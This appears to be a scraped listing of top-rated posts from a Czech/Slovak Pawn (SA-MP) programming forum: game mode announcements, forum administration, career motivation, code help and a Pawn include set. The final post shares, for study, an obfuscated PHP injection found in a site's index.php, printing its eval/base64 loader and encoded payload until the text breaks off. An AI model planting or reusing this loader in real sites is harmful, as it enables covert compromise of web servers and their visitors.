  25. CO JE BATTLE ROYALE? Battle Royale je survival gamemode s rychlým gameplayem, který ponoří hráče do zápasu o život. Cíl je jednoduchý: být poslední přeživší. Všichni ostatní musí zemřít. K tomu se skvěle hodí zbraně, léky, brnění a mnoho dalších předmětů rozmístěných po celé mapě. Po 5 minutách od odstartování zápasu se začne zmenšovat herní zóna a všichni zbývající přeživší jsou nuceni se proti sobě utkat. NAJDĚTE TEN SPRÁVNÝ LOOT Po celé mapě se nachází hromada zbraní, nábojů, léků, batohů a dalších věcí, které můžete použít ve svůj prospěch. Stačí jen nějaký předmět najít a sebrat ho klávesou LALT. Použít nebo zahodit své předměty můžete přes inventář, který lze otevřít pomocí klávesy Y. Samozřejmě nesmí chybět vozidla. Ta jsou trochu vzácnější, proto není tak snadné nějaké najít. Vozidla mají omezené palivo, proto je dobré mít po ruce kanystr. HRAJTE S PŘÁTELI Battle Royale je mnohem zábavnější s kamarády. Pár kliknutími v hlavním menu stačí vytvořit skupinu, pozvat hráče a odstartovat hru. Jako skupina jste o něco silnější než ostatní hráči, na začátku zápasu vás hra spawne u sebe a své spoluhráče vidíte na radaru. BUĎTE U AIR DROPU JAKO PRVNÍ V každém zápasu spadne po 2 minutách od odstartování z nebe air drop, který obsahuje zbraně, náboje, léky a neprůstřelnou vestu. Air drop je vždy označen zelenou zónou a pokaždé spadne na jiné místo. O pádu air dropu jsou informováni všichni hráči. PŘIZPŮSOBTE SI CHARAKTER I v boji o život je důležité vypadat dobře. Svou postavu si můžete kdykoliv vylepšit řadou doplňků přes hlavní menu. Cena každého doplňku je $500. Některé doplňky se vám zpřístupní až po výhře určitého počtu zápasů, takže se s nimi budete cítit nadřazeně. HERNÍ MOD DÁLE OBSAHUJE: - Anticheat, který dokáže detekovat přes 15 nejznámějších cheatů - "Lobby systém", takže žádné čekání, než ostatní dohrají, stačí kliknout na "Hrát" a server vás automaticky přiřadí do nové lobby - Achievementy - Výběr mezi češtinou a angličtinou (aby si na serveru mohl zahrát i cizinec) 82.208.17.10:27738 www.facebook.com/sabattleroyale
    6 points
  26. Well, jak začít... No tisknu si svojí hvězdnou bránu na 3D tiskárně a přemýšlel jsem, že bych se mohl podělit o poznatky. Nejdříve jsem si udělal monitoring software (odkaz níže) a pak jsem si říkal, že bych se podělil i o progress samotné brány. Tak jsem hledal kam to dát a najednou jsem objevil tuhle sekci a úplně prázdnou. Tak tedy zakládám první topic o mém 3D tisku, budu sem dávat updaty jak pokračuju s hvězdnou bránou. Pro začátek přikládám screen kolik mám dílků a jak to zatím vypadá.
    5 points
  27. Už máme sedm her portovaných i na Android. Šest jich už můžete vyzkoušet (v detailu her jsou odkazy na Google Play) a sedmá - prší čeká na schválení vydání na Google. Včera jsme také spustili Kris Cross a v přípravě je ještě hra Vědomostní Duel - kdy budete soutěžit proti soupeři odpovídáním na různě vědomostní kvízy. Také se musím pochlubit, že díky štědrému sponzorskému daru vyšel taky náš merch, takže máme samolepky, magnetky, pivní podtácky a taky super náramky
    5 points
  28. Zdarec všichni, díky štědrému daru od @DuFF proběhne v příštích dnech velký update fóra - aktualizujeme z verze 4.4 na verzi 4.7. Spolu s tím se bude aktualizovat i šablona a všechny moduly. Pokud půjde vše hladce, aktualizace proběhne za pár minut a fórum bude znovu dostupné do jedné hodiny. Pokud se něco nepovede, fórum by mohlo být nedostupné i celý den až několik dní. Aktualizovat sice budeme nejdřív nanečisto, ale vzhledem k objemu databáze a celého systému se může kdykoliv cokoliv pokazit. Díky za strpení!
    5 points
  29. Ahoj, možná trošku zavádějící titulek ale nic jiného mě nenapadlo. Jde o to že by mě docela zajímalo jestli máte ve své práci nějaký řekněme milníky a jaký mindset máte ohledně posouvání se dál. Mě se podařilo se splnit si několik milníků jak životních tak pracovních a napadlo mě že možná sdílení příběhů různých lidí by mohlo nakopnout ostatní. Já osobně měl několik milníků od doby co jsem začal pracovat jako třeba: 1. vydělaný milion 1 milion ročně 2 miliony ročně 4 miliony ročně 1 milion měsíčně Několik dalších mám ač už jsou možné dost neraálný. Ale to jsou finanční prakticky nic neříkající milníky který jsou pro mě ale lidi z mého okolí o nich třeba ani neví. Další milníky který už jsou takový že o něčem vypovídají a je to takový "flex" v běžný koverzaci jako třeba: Mám barák Mám Teslu Vysněný osmiválec Doplatit mámě hypotéku za její byt ( to už neni nic o čem vyloženě někomu říkate pokud na to nepřijde řeč ) Je podle mě důležitý si takovéhle milníky dávat ať už finanční nebo materiální protože je na tom vidět váš osobní postup a je to takovej stimul toho že jste něco dokázali. Uričitě dosáhnout takových milníků je časově náročný. A ne každý má mindset na a vůli něco takového dělat. Určitě tím neříkám že peníze jsou vše ale dokážou vám hodně usnadnit život. Já za svůj nějvětší úspěch považuji že jsem všechy od-odrážkované milníkdy splnil před 30tkou ( těsně ale stihl jsem to ) sice mě to stálo hromadu času a prakticky jsem nikam moc nechodil a seděl doma a buď se šrotil nebo pracoval. Jsem introvert takže pro mě to nebyl moc problém ale chápu že pro ostatní je to očistec. Taky mi k tomu hrozně moc pomohl paradoxně Covid, kde všichni co měli nějaký obchod nebo něco tak najednou zjistili že nutně potřebujou kanál kterým můžou prodávat i mimo kamennou prodejnu. Celý to sem píšu vlastně i z důvodu že tohle fórum mělo značný vliv na to že jsem se vůbec vydal na tuto cestu a mohl si nastavit tyhle milníky a splnit si vše co chci. Kdybych se sem jako 14ti letý smrad nepřišel učit Pawn tak bůh ví kde bych teď byl. Tady jsem zjistil co mě baví a v čem jsem dobrej. A sám vím že podobně to tu mělo hodně lidí a z mnoha lidí odsud jsou dnes programátoři nebo grafici video editoři a kdo víco dalšího. Nejdůležitější rada kterou můžu dát všem je aby se vyhnuli mindsetu "ale co když". Když sem přijdete a řeknete si že budete programátor a vzadu v hlavě se vám ozve hlásek:"Ale co když se mi to nepovede" nebo "Ale kdo by si mě najal" a podobné další. Osobně znám hromadu lidí kteří tímhle trpí a na jakýkoliv popud oponují přesně slovy "ale co když " , "ale kdo by " atd. Když jsem sem přišel považoval jsem například kamarádův House Systém za boží dílo který bych nikdy nedokázal udělat. Po nějaké době jsem zjistil že je to vlastně hrozně jednoduchý a že je to jen o pár proměnných a pár dialozích. Když jsem dostal zakázku na první mobilní aplikaci tak jsem si říkal že nebudu schopný to dodat. Zkusil jsem si tři různý apky a zjistil jsem že je to hrozně jednoduché. Dneska jich mám za sebou přes 30. Omluvte pokud pata předchází hlavu a celý článek nedává smysl posloupnostně, píšu to tak jak mi to přijde na mysl. Ale doufám že si z toho odnesete motivaci a případně přispějete i s nějakým vaším úspěchem ať namotivujeme další lidi k tomu aby měli nějaký cíl. Pokud naopak nemáte karieristický přístup a stačí vám práce která vás uplně nevysírá a nemáte potřebu mít hromady peněz a rádi žijete minimalisticky přispějte také. Jsme diskuzní fórum tak diskutujme.
    5 points
  30. Zdravím vás přátelé, Jelikož a protože dnes nastala významná situace, která se dotkne celé Evropy, je potřeba udržet si chladnou hlavu. Já osobně od rána sleduji veškeré dění z 10 různých zdrojů a filtruji myšlenkově co potřebuji a buduji si celkový obraz toho co se děje a jak se mě to dotkne. Není však úplně možné ověřovat, konzumovat a vyhledávat každou důležitou (či zajímavou) informaci manuálně celý den - vytvořil jsem si tedy malý nástroj, který mi konzum těchto informací o dost zlehčuje. Chtěl bych vás tímto oslovit, pokud máte schopnosti a chuť, pojďte se podílet na vývoji a zkusme společně vytvořit nástroj široce využitelný nejen pro nás programátory, ale i ostatní uživatele internetu. Nástroj bych chtěl rozvinout do obsáhlejšího formátu v několika řešeních (konzole, GUI a jako službu RSS běžící na VPS). V tuto chvíli mi prozatím dokáže číst jen RSS feedy, ale plánuji do toho narvat i twitter api a web crawlera. Pokud máte další nápady, chcete pomoci s kódem, nebo něco jiného - zapojte se na GitHubu do vývoje - jsem pro každou srandu. Tímto příspěvkem chci vyjádřit i podporu Ukrajinským občanům a vztyčit prostředníček vládě jak ruské, ukrajinské tak i americké a celé evropské unii, protože nikdo nebyl schopný ani ochotný situaci za každou cenu deeskalovat a vyhnout se této absurdně zbytečné válce. Odkaz na repo: https://github.com/ffredyk/NewsTicker Vytvořeno v .NET 5.0 (C# 8.0) IDE: Visual Studio 2019
    5 points
  31. Viem že to tu už bolo (pawno server) a moc to nefungovalo, ale čo takto spraviť server kde budú môcť všetci ukázať svoje výtvory, (mapy, scripty, teleporty, ...) 🗺️🔧🤩 Pridávanie: Proces pridania by mohol byť automatický (prídeš na fórum, uploadneš svoj script (pwn) alebo riadky s objektami. Náš script by to 'zmergoval' z ostatnými ako 1 AMX, a spoločný script so všetkými výtvormi zas reuploadol na server. Konflikt s FS/Objektami: Pred mergovaním by náš script mohol kontrolovať či sú pridávané objekty dostatočne ďaleko od ostatných výtvorov, a tiež či pridávané príkazy už existujú. Hodnotenie: Každý z členov by mohol hodnotiť kliknutím na tie hviezdičky, tým pádom by sa na servere vždy držalo len napr. top 20-30 výtvorov. Ukážka (Snažil som sa urobiť nejaký návrh vo Photoshope ako by to mohlo vyzerať na hl. stránke) 😌 Neviem koľko ľudí z Pawna reálne robí mapy a mal by záujem ich takto prezentovať, ale tento nápad som mal v hlave už dlho tak som sa s ním chcel aspoň podeliť 🙈. Čo sa týka tvorby scriptov a sa-mp server, nemal by som problém pomôcť & hostovať server 💪.
    5 points
  32. Zdravím vás, vážení aktivní uživatelé tohoto fóra Rád bych vás požádal, aby jste si vzpomněli na tuto sekci - jmenuje se "Návrhy na zlepšení a hlášení chyb". Z více kanálu ke mě neustále proudí jakýsi druh dilematu, stížností a otázek ohledně vývoje pawno.cz. Odpověď zní - je to složité. Snažíme se neustále vymýšlet, kam pawno.cz nahnout, do kterého směru zvohýbat tak abychom neporušili zajetou historii (respektive alespoň ne destruktivním způsobem), udrželi zdejší userpool a zároveň přišli na něco revolučního, co by mohlo motivovat diskutující k diskuzi. Na co si vlastně stěžuju já? Na neustálé výpady, dotazy a teď už i několik nabídek na odkoupení podložené stagnací vývoje. Ono v tuto chvíli, už nelze jen slepě přihazovat funkce do systému a doufat, že něco bude použitelné. V momentě, kdy jsem fórum odkoupil já, jsme ho dali do pucu tak jak to jen šlo - máme novou verzi IPB, kompletně předělaný vzhled, jednoduché decentní logo a nikdo si od té doby na ani jeden z těchto prvků nestěžoval. V minulosti na tyto prvky neustále někdo peskoval a teď se nám povedlo je vymazlit tak, že neotravují nikoho! Dnes všichni nadávají na malou aktivitu uživatelů a stagnaci diskuze - tedy na tu část fóra, která neleží na vedení fóra, nýbrž na jeho uživatelích. Další věcí, která mě trápí, je fakt, že ačkoliv má několik uživatelů problém s aktuální situací na fóru, nemají motivaci ho sami zkusit řešit - tedy psát zajímavé topicy. Chápu, že jsme komunita většinou už zralejších programátorů, a jsme zvyklí pracovat za peníze - proč tedy psát články na "umírající" diskuzní fórum zdarma? Ze všeho nejdřív si ujasněme co znamená "umírající" fórum - hodně lidí tento termín v poslední době velmi rádo zneužívá - fórum každý den nasbírá kolem 70 unikátních IP adres, není to kdovíjaký zázrak, ale rozhodně bych to neoznačil jako "umírající" fórum. Vzhledem k tomu, že před rokem to bylo max nějakých 40-50 UIP denně. A proč tedy psát články for free? Nikdo vás samozřejmě nemůže nutit, ale z jaké pozice poté můžete nadávat na ten stav? Není potřeba tu na fóru psát návody na úrovní profíků, kteří jsou za návody placení jak časem, tak marží, ale co vám brání napsat malý článek o tom, jak jste někdy někdo vyřešil zajímavý problém, který nebylo tak snadné vyřešit? V dnešní době knih, kurzů a mentorovaných lekcí snad nikdo ani návody nevyhledává - na druhou stranu, většina nových programátorů vyhledává mentoring a je za něj ochotna i slušně zaplatit. A pár takových článků na fóru pro programátory, by poté mohli sloužit jako celkem slušné demo (hlavně i s těmi pochvalami a aktivní diskuzí ve vláknu) vašich potenciálních služeb Vzpomeňte si (hlavně vy, starší členové), co vás popohánělo před deseti lety, co ve vás budilo to nutkání napsat nějaký topic? Byla to vidina peněz? Pro mě to byla hlavně prestiž a budování image. Díky mým výtvorům jsem dokázal překvapovat a lidé věděli, že se v Pawn vyznám a dokážu v něm vytvořit cokoliv. Nemůžete nad pawno.cz přemýšlet jako o kanálu, do kterého vylíváte svůj čas (z toho vzejde jen toxický materiál) - přemýšlejte o něm jako o investici, která vám přinese kontakty, práci a příležitosti. Vždyť za networking se dnes utrácí i několik tisíc měsíčně - kdežto dobré jméno na programátorském fóru, vás stojí jen trochu víc času (než na tom networkingu) A co se týče prodeje pawno.cz - odmítám veškeré nabídky. Fórum se snažím odkoupit už od dob chytráka, je to moje srdcovka na kterou nedám dopustit. Věřím, že administrátoři @Lucifer Morningstar a @Ewwe to mají stejně tak a společně to fórum povedeme dál a snad domyslíme pořádný koncept, který nás zvedne ze židle a dokážeme oslovit více uživatelů k registraci. Vězte, že celý admin i mod tým dělá svoji práci zadarmo - dělají nevděčnou činnost bez odměny i přesto, že zdejší userpool (o který se starají) nedokáže bez odměny napsat žádný článek. Tak na ně buďte hodní Zaslouží si pochvalu.
    5 points
  33. Ostatných ignoruj, proste ti nevedia poradiť a len zbierajú príspevky (lebo očividne niekto nevie čítať predošlé príspevky a musí 10x písať to isté - spamätajte sa uživatelia). Kukám tvoj kód (ano dá sa to prečítať ale naozaj nabuduce sem skopíruj kód a nie obrázok) a stačí keď si pozrieš ako sa tvoria príkazy a ako sa robí príkaz na spawn vozidla - tj. zistiť pozíciu hráča. Celý kód spočíva v pár jednoduchých krokoch: 1) Vytvor príkaz 2) Zisti pozíciu hráča (GetPlayerPos) 3) Vytvor auto na týchto pozíciach (v podstate tvoj kód, akurát nastav pozície vozidlu) 4) Vlož hráča do auta (PutPlayerInVehicle) // EDIT Sa nedivím že toto fórum ide do hája keď uživatelia iba spamuju... Potom má help 25 príspevkov a žiaden použiteľny, všade len samí hejt že ten nevie písať, ten nevie fotiť ten nevie nič...
    5 points
  34. Ahoj, napadlo mě sem přidat lightweight příspěvky jako jsou uživatelské statusy (tzn. ne klasické topicy ve fóru), které by sloužily jako "agregátor" tech novinek. Příklady (hodně odlehčené): Vyjde nová verze Nette. Zdejší PHP fanboys napíšou krátkou zprávu "Vyšlo nové Nette 4.0, je to pořád trash, umí to x, y a z, rozbila se zpětná kompatibilita. Více info zde". Vyjde nová specifikace ECMAScriptu, napíše se novinka "Vyšla nová specifikace ECMAScriptu, přináší to optional chaining atd. akorát to podporují stejně jen 2 browsery, takže se stejně transpiluje, cool". Výhody: Plno novinek z různých odvětvích, i které by mě nikdy nenapadlo sledovat (PHP). Takové RSSko. Zvýší to aktivitu - s takovýma blbostma asi nebudete spamovat normální topicy. Zvětšení zaměření fóra - zatím se fórum pořád drží pawna a nepřináší nic moc z okolního světa. // EDIT: Samozřejmě na novinky půjde reagovat - můžeme rozjet i nějaké flamewars a tím by se ještě víc zvýšila aktivita
    5 points
  35. Nasiel som tuto velmi zaujimavu sadu includov, kde su zadefinovane vsetky ciselne prvky ako enumy. Pred tym som to este nikde nevidel takto pokope. Napr farba: #define COLOR_LIGHTRED 0xEE9090FF Alebo ikony: #define ICON_SCHOOL 36 Alebo skin: #define SKIN_CJ 0 //Carl "CJ" Johnson (Main Character) Alebo co sa mne velmi pacilo, tak Vehicle Health: #define VEH_HEALTH_FULL 1000 #define VEH_HEALTH_FULL_LOW 650 #define VEH_HEALTH_WHITESMOKE 649 #define VEH_HEALTH_WHITESMOKE_LOW 550 #define VEH_HEALTH_GREYSMOKE 549 #define VEH_HEALTH_GREYSMOKE_LOW 390 #define VEH_HEALTH_BLACKSMOKE 389 #define VEH_HEALTH_BLACKSMOKE_LOW 250 #define VEH_HEALTH_ONFIRE 249 Takze miesto cisla mozete pouzit text, ktory je ludskym okom lepsie citatelny nez nezname cislo, napr. 550. Miesto SetVehicleHealth(vehicleid, 550); mozete pouzit SetVehicleHealth(vehicleid, VEH_HEALTH_WHITESMOKE_LOW); Link na includy: https://github.com/kkmzero/isampp/tree/main/include/i_sampp
    5 points
  36. Jestliže někdo neví o co jde a chtěl by tak zde: Ani netušíš, kolikrát jsem se snažil tohle vysvětlit Ale fórum je dělané právě na tyto možné "agrese" například právě omezením reakci za den. Takže musím dát hold alespoň za to. Nicméně souhlasím, s tím, že tohle už z obyčejného psaní, přeslo místy do mírného útoku(ale pouze místy, a ještě záleží z jaké strany myslíš), ale za mě já už se distancuji, protože nemá cenu vysvětlovat 10x to stálé dokola. Jestliže by měl někdo zájem to vysvětlit, ať to prosím zkusí za mě, děkuji. Ale stále. Je to diskuzní fórum. Takže, tímto způsobem by se to mělo i vést. Diskutovat(v chatu např.) a vysvětlit problém. A pravě v tomto byl problém, kdy to už Num tahal i do jiných příspěvků, viz (https://ctrlv.link/shots/2020/12/14/Jx42.png) Takže na konec, abych jenom neukazoval prstem tak to tady utnu a na další příspěvky od tohoto "uživatele" nebudu reagovat dalším příspěvkem (ani v Chatu). Co se týče reakcí, to je stále stejné. Když to bude oprávněné, dostane ho. Tak tomuhle se nemá ani cenu vyjadřovat... Přecijen ale: Je rozdíl mezi hádáním a pokusem se vysvětlit problém. Jestiže si myslíš, že dva diskutujicí lidé ihned brečí, tak to jsem zvědav, jak vidíš normální diskuzi teda...
    5 points
  37. Zdravíčko přátelé, tak mě zase po delší době potkala milá věc - PHP virus, injektovaný do index.php webové aplikace. Prozatím ještě nevíme, jakým způsobem se útočníkovi povedlo prolámat se dovnitř a vložit do indexu vlastní kód, nicméně jsem alespoň rozlámal "šifrování" tohoto viru a rád bych se s vámi podělil o výsledky k bádání a edukaci Šifrování kódu (jestli se tomu vůbec šifra dá říkat) bylo vskutku velmi jednoduché - několikrát opečený kód v base64_encode, pomocí eval zase rozbalený. Kód byl ovšem psaný na PHP verzi 5.6 a na PHP 7+ není funkční, útočník tedy nespáchal žádnou škodu, kromě několika hodin vypadlého webu, než si někdo všiml že to vlastně nejede. (Hlásil error 500) Celý inject vypadal takto: <?php @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss281_285_289_291_new.xml'; $dt = 0; $sitemap_file = 'sitemap'; $mapnum = 2000; $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iVFN1SndocnBCdm1uQVZHS0xPY1dOalFpWHlsVUN0Z3NGWkVQWW9EcWFNa0h4emZkZWJSSXhoYXBGWE1UU3lidHV3T25Dek5CQWRLSW9ja1FZamxMVmlEc1BlZm1nR3ZScXJIV1pVRUpzZjlGZ1J1bGZLZXZnYkVUTkl1OUpZTnR6RjBucE9YMFdSU0hXMndJSmYwbHAyWDBXUnV0ekYwbmdCUGVnb0FIZ1JFME5SR2VuaGs3ZktlbHBPWDBXUnVsc2h1dGdSRTBOUkd0ekYwbkhCd0xOMnc3ZktlbHBPWDBXUnVsc2h1dGdSRTBOWU43ZktUOWZLZXZOMjExTmJrSFdPMUZKZjBsTjIxY2lvVjFpb0EwbzN3Y2dobFR6RjBuZ0JQZXBSQWpXb3BUbzNFak5mMDlwY05UWkYwbkpZdWxKWUVyVW93Y2d3OTBVb3U5cGM4dHpGMG5ISzBucFJHbHNodXRQSU5hcDJWcml4UHRDSU4wbzJRdENJV2FQMjl2aWhON2ZLZXZOMjExTmJ2bHNodXZOY2x2TjIxMU5ia0hXTzFGbnhMQVliaTFVYkEwZ0I5YUpSQWpOYndxV0J3cldWOTFOYnZlbm9MQVlJdWxKWVNUaUl1ZWdvQXJpb0tlcFY5eEV3cEJFd3BVcDFwVlF3d1ZRMUVId3dwcHAxMFRub0xBWUl1bEpZdWxKWXVscFJBaldvcFRKZjBscFY5eEV3cEJFd3BVcDFwVlF3d1ZRMUVId3dwcHAxMDdmS2VsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSk9rYm5Pa3JOMncwbllFSFEwd2h3dndoQmNXWE5iVzJwMTBUbm9MQVlJdWxKWXVsSll1bEpZdWxKWUVyVW93Y2dodTlKWUVIUTB3aHd2d2hCY1dLaFZTSFEwd0dFSVdXSlk0bHByOHRKWTRscFY5eEV3cEJFd3BVcDJWY2kzUHRvd0xGb3hMQVlJdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdXZOMjExTmJ2bHNodXZvMUFWUWtpVlFrTHRRRFhLbzFBVnhEUHRvaHVhSllOL3BjdWFKWUVIUTB3aHd2d2hCY1dFd1F3aEJ3OXh3VnBweHZOdG94TEFZSXVsSll1bEpZdWxISzBuSll1bEpSMEFZSXVsSllTY2lvRTFOYjRscFJBaldvcFR6RjBuSEswbnBPV3lXMndJSmYwbHAyRTBnT2tjV1J2amlCa3RnUktjQ3RBVGkyaXlaT2l5V0I1dlBvRVRVMjV0Q3RBZVUzdXR6RjBucFJTWE4zQTNVM3B2SmYwbFVCSzFuTzF2QWhYdXBWOVJFd0VVcDNTdnAxMFRueExBWWJrYkpZbHZOT1ZyTjNXeU5iS2xzeDBscHJ3YlBiUHJBYlAyUGRERkFyU1hpQkcyQUJQRkdPQUl6T1FyQUJHNVAyRzBwY3ZsWkYwbkpZdWxKWUVYaU9FSFAyOWFXT3dhV1l1OUpEdXZvMFdWd1ZMdFVCVkZVYlZqaWhXV3pGMG5KWXVsSllFWFAzRVRVMjRsc2hTdXBWOVJFd0VVcDJWZFdPa3lVSVdXekYwbkpZdWxKWUV2VTIxWGdCNGxzaFN1cFY5UkV3RVVwMkV5VUJWVFVJV1d6RjBuSll1bEpPa2JuWUV2VTIxWGdCNFRaRjBuSll1bEpZdWxKWXV2Z085cldZdTlKWUV2VTIxWGdCNDdmS2VsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSllFZVUzQTBKZjBscFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV3pGMG5KWXVsSlIwQVlJdWxKWXV5Q2NFZVUzQTBKZjBscFY5eEV3cEJFd3BVcDBYUXdWU0hoRDl4d1lXV3pGMG5KWXVsSllFRlBvRWVKZjBsaU9rY1ViVmppaFhIbzBpcHhEd0hvY3Y3ZktlbEpZdWxnQlBlcE9WZFdPa3lVZDA5cDNTVFViTnRub0xBWUl1bEpZdWxKWXVsQ2M5ZVdSRUZOcmV5QzNXM1djNXRVMjl0VU9RYVAyOWpDM1NUVWJOL04yazBpQjFYTmYxZVdSRUZOcmV5QzJ3NFBCMUZVT1FhUDI5akMzQVRXT3dqUG91YVpPMUxmS2VsSll1bEpZdWxKT2tiblJBME50QTBOSWx2UEJFdm8yQXlVdEVrVXRLTHBjNTRVQkZ0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVNUaUlYVE4xOWVXUkVGTmNsVG5vTEFZSXVsSll1bEpZdWxKWXVsSll1bEpZdXZpT1YwUHc5YWlvTmxzaHV0Z1JFME5SRzZDYzkzVzNOYWkyOXlpMnFrQ2JBeVVoOUZnQjV0czNBVFdPd2pQb3U5cGM0dGdSRTBOUkc2Q2M4dENJRWVVM0EwQ0lOeXBjNHZQQkV2bzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZUzlpQnFyaW9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSll1dmlPVjBQdzlhaW9ObHNodXRnUkUwTlJHNkNjOTNXM05haTI5eWkycWtDYkF5VWg5RmdCNXRzM0FUV093alBvdTlwYzR0Z1JFME5mZXlDY05hcE9YeU4zS2FwYzh0Q0lFWGlPRUhQMjlhV093YVdmTEFZSXVsSll1bEpZdWxKWXVsSlIwQVlJdWxKWXVsSll1bEpZdWxKWTh5UTJrMGlCMVhOZmVsZ1JFME5mZXlDM1czV2M1dFdCRVhVYldyaUJYWFdZNWRVMjB5VUJWRmdCNXZpb2xhWk8xTGZLZWxKWXVsSll1bEpZdWxKWVNUaUlYcldScFROM0VjblJBalUzdzBpTzhlcE9FWFdPVkhVYnczbmhGdGkyOXlpMnFrcGN2VFpGMG5KWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhscHJxSU5kNXlncnFJTmQ0dHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxpQkFlVWN1dmlPVjBQdzlhaW9OYXBycUlOZDVGZ0I1dEpPaVhVUkFrSnhxSU5kNHR6RjBuSll1bEpZdWxKWXVsSll1bEhLMG5KWXVsSll1bEpZUzlpQnFyaW9MQVlJdWxKWXVsSll1bEpZdWxKT3dkZ084bHBycUlOZDVyZ29Fa1VCVkZKTzVYVUJRbGliVkxOMlFYc09wY3NJTjdmS2VsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsaW9YVFdmTEFZSXVsSllTOWZLZUFZSXVsSll1dmlia0xpdzlGUG9FZUpmMGxwUlNYV09sYXBjOWNVMnB5V1JHYVdSWDBwckxBWUl1bEpZU1RpSWxYcE9WZFdPa3lVSWs3ZktlbEpZdWxKWXVsSllFWFAzRVRVMjRsc2h1dE5SdzBwckxBWUl1bEpZUzlmS2VsSll1bGdCUGVwT1ZkV09reVVJdTlzaHV0TlJ3MHBjazdmS2VsSll1bEpZdWxKT2tiblJBME50QTBOSWx2UEJFdm8yQXlVdEVrVXRLTHBjNTRVQkZ0bmhrN2ZLZWxKWXVsSll1bEpZdWxKWVNUaUlYYmdCcWtvMnc0Z29BME5jbHZpYmtMaXc5RlBvRWVuaGs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVscE9FWFdPRGxzaFNyVUI5MVdPRXluWUViZ0Jxa28zU1hXT2xUekYwbkpZdWxKWXVsSll1bEpZdWxIQndMTjJ3N2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bHBPRVhXT0Rsc2h1dHdvQWtOSTFYaTJ3YVdmZWxubDBuS0JxTFUzTjZKWTh0ekYwbkpZdWxKWXVsSll1bEpZdWxISzBuSll1bEpZdWxKWXVsSll1bGdCUGVOM0VjTjNFY25ZRXZQb0VYQ1lOeXBjNHZQQkV2bzJBeVV0RWtVdEtUbm9MQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44UHRKK04yazBpQjFYTllTWFVScGtQQkU1Sk9WdmlPd3ZKeHFJTmQ0dHpGMG5KWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxnQlBlZ29BSGdSRTBOUkdlbmhrN2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEpZdWxKWUV2UG9FWG8yNWtXY3U5SlJFY2dCMGVwT0VYV09EVENJcE5Oa3FhSkk0dFEyazBpQjFYTmZlbGdSRTBOUkc2Q2M4dENJRWVVM0EwQ0lOeXBjNHZQQkV2bzJBeVV0RWtVdEs3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSll1bEpZdWxKWXVsSllFdlBvRVhvMjVrV2N1OUpSRWNnQjBlcE9FWFdPRFRDSXBOTmtxYUpJNHRRMmswaUIxWE5mZWxnUkUwTmZleUNjTmFwT1h5TjNLYXBjOHRDSUVYaU9FSFAyOWFXT3dhV2ZMQVlJdWxKWXVsSll1bEpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpZdWxKWXVsSll1bENjOXhnb0VrVUJWRnpJU2VXUkVGekk4eVczVzNDYlcxaU9WYWkzQWtnT1YwQ2JBeVVoOWpQb1NUVWJFa1pZNTRVQkZBWUl1bEpZdWxKWXVsSll1bEpZdWxKWVNUaUlYYmdCcWtvM1MxV1Y5ZFUyNTBpQjUwTmNsdmlia0xpdzlGUG9FZUNZRXZQb0VYbzI1a1djdlRKUkxBWUl1bEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bGlCQWVVY3V0c09wY3NiOU1zT3Bjc0lON2ZLZWxKWXVsSll1bEpZdWxKWXVsSll1bEhCd0xOMnc3ZktlbEpZdWxKWXVsSll1bEpZdWxKWXVsSll1bEpPd2RnTzhscHJxSU5kNWJnQnFrSlJXY2dvRWtKT2lYVVJBa0p4cUlOZDR0ekYwbkpZdWxKWXVsSll1bEpZdWxKWXVsSlIwQVlJdWxKWXVsSll1bEpZdWxKUjBBWUl1bEpZdWxKWXVsSEJ3TE4ydzdmS2VsSll1bEpZdWxKWXVsSllTa1AyWHlKWU44UHRKK04yazBpQjFYTllTYVBCMWtKT2lYVVJBa0p4cUlOZDR0ekYwbkpZdWxKWXVsSllTOWZLZWxKWXVsSll1bEpPa2JKWVhyV1JwcldSSmVwT1Z2aVY5ZFUyNTBpQjUwQ1l1dEN0U2VOWU5UbmhTN2ZLZXBZS3Z2UGh1OUpPMXZBaFhqaWZRZUtZRUhFMHdRQmNXWHAxMFRueExBWWx2cFloRUlKZjBsVUJLMW5PMXZBaFh1cFY5UkV3RVVwMkp0b2h2VHpGMG5ZS3ZwZ0JQZXBPRDlzb0FqVTN3MGlPOGVwMlgwV1J1NkNjOHRDSUV0VTNXa1BJNHRDMkRhTk9YRnBjdmxIUkZscE9KOXNoTmNHQkcwaWZ1ckdCRXZHZHY1R2ZEckF4aVh6eFZJRzJ3YlAyQVhHZkRyR1lOVFpGMG5ZS3ZwWWhFclVvQTBOSXU5SkR1dm8wV1Z3Vkx0TjIxcldSSnRveExBWWx2cFlLa1RpSVhiZ0Jx